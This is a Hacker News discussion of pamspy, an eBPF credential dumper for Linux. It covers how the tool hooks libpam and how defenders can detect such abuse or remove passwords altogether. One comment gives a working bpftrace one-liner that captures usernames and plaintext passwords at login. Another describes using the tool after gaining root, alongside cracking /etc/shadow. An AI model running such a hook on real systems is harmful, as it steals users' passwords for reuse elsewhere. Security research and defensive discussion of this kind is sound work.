Show HN: Credentials dumper for Linux using eBPF
github.com
github.com
Latest of libbpf (which seems like you vendored) comes with ability to calculate symbol offset for you. Thoughts on using that instead of your custom logic?
> As pamspy rely on libpam, we have to set the path where libpam is installed on your distribution.
Confusing text in the readme. Does it have dependencies or not?
> built as a static binary without any dependencies
Static binaries are explicitly used for removing the need for specific dynamic runtime dependencies. It does not refer to build dependencies, which are not interesting here.
Based on the terms, I would except that libpam is included for the final binary.
In this case the function of the program is to hook a library function in `libpam` using eBPF so it has libpam as a “dependency” in roughly the same way that a program which converts wav to mp3 depends on “the input wav file”.
Given that this is a somewhat unusual way to depend on a `.so` file it’s reasonable for there to be some ambiguity in the language here.
Like pointing a disassembler at a shared library, it's not needed to run the disassembler, it's the thing you're disassembling.
The solution for this is usually to track both probes and remember arguments, here's what it'd look like with bpftrace -- that does the same as his program, I've just hardcoded the offset for username in pam_handle struct but the repo hardcoded the struct (it's also possible to include a .h in bpftrace to stay up to date)
bpftrace -e 'BEGIN { printf("pid,comm,user,pass\n"); }
uprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok {
@user[tid] = arg0;
@pass[tid] = arg2;
}
uretprobe:/lib/x86_64-linux-gnu/libpam.so.0:pam_get_authtok /@user[tid]/ {
printf("%d,%s,%s,%s\n", tid, comm,
str(*((uint64*)@user[tid]+6)),
str(uptr(*@pass[tid])));
// just illustrating arg2 (rdx on x86_64) changed:
printf("%lx, %lx\n", reg("dx"), @pass[tid]);
delete(@user[tid]);
delete(@pass[tid]);
}'Anyway, this is probably good enough as a bpf demonstration and it definitely has made its impact looking at other comments here. That's probably all that matters.
[1]: https://brendangregg.com/blog/2015-06-28/linux-ftrace-uprobe...
[0] https://man7.org/linux/man-pages/man7/capabilities.7.html#:~...
Other uses I've seen for eBPF are inspectors that tell what is happening on encrypted connections and the request headers for any connection, including authentication details that you would expect to be protected. It's great to have this kind of capability on systems that you own!
The first thing I usually do is dump the /etc/shadow file and start up hashcat on it. However this is a very slow and often unsuccessful approach. With a tool like this, I would still dump the /etc/shadow file but I would also fire this thing up so I can obtain passwords as people log in.
The reason this is useful is because most people reuse passwords across other systems. If I can get the password they use for this system, chances are I just gained access to other systems. The mitigation/defense against this is to always use unique passwords. I'm already root on this box so getting your password benefits me nothing if it's a unique password that you haven't used elsewhere.
Not only is it an actually useful tool for pen testers, and a remarkable PoC for abusing eBPF, but it's a sweet and simple example for how to write an eBPF module.
Anyone know of any tools to check for abuse?
Also seems prudent to get rid of passwords and move to Kerberos and SSH keys + 2FA. Anything else I'm missing?
This is a good path to go down anyway, despite the fact that Kerberos, for instance, is totally susceptible to 'pass the hash'[1] type attacks. Concentrate on things like Yubikey-based authentication. You can do SAML/OIDC2/mTLS and SSH with Yubikeys.
Eliminate passwords.
[1] - https://www.beyondtrust.com/resources/glossary/pass-the-hash...
Another approach is focusing on detecting the privilege escalation in the first place. You can use normal auth logs in Linux alongside things like auditd, or more complicated EDR tools that look for suspicious system calls etc to identify root logins that are suspicious, or when a process might have been exploited and elevated to root. Make sure you’re shipping your logs somewhere remotely so they are protected from tampering.
There’s an option in sshd to run a program that should output the contents of an authorized keys file: AuthorizedKeysCommand
So you write a simple bash script or program to output authorized keys based on your own rules. If you want stronger auth, check out libnss-ato which can allow you to masquerade as root if the user is authorized. (In your authorized key script, check if the user is in your org and/or part of a certain team, if so, output their public keys, otherwise, output nothing).
I really should open source my code, but it’s literally only 5-6 lines of code, and 3 lines of configuration.
With that being said, because eBPF programs can be compiled at runtime, it makes signing eBPF programs trickier. The kernel team doesn't want efforts such as bpftrace to be stifled.
It seems like the conversation on signing eBPF programs is still ongoing with an eye at looking at fsverity to help with the use cases here.
Is this all for Secure Boot just like signed kernel modules?
I wrote about the possibility of this with fd passing in a recent blog post: https://mdaverde.com/posts/cap-bpf/
I'm also working on agent that allows for this at https://bpfdeploy.io/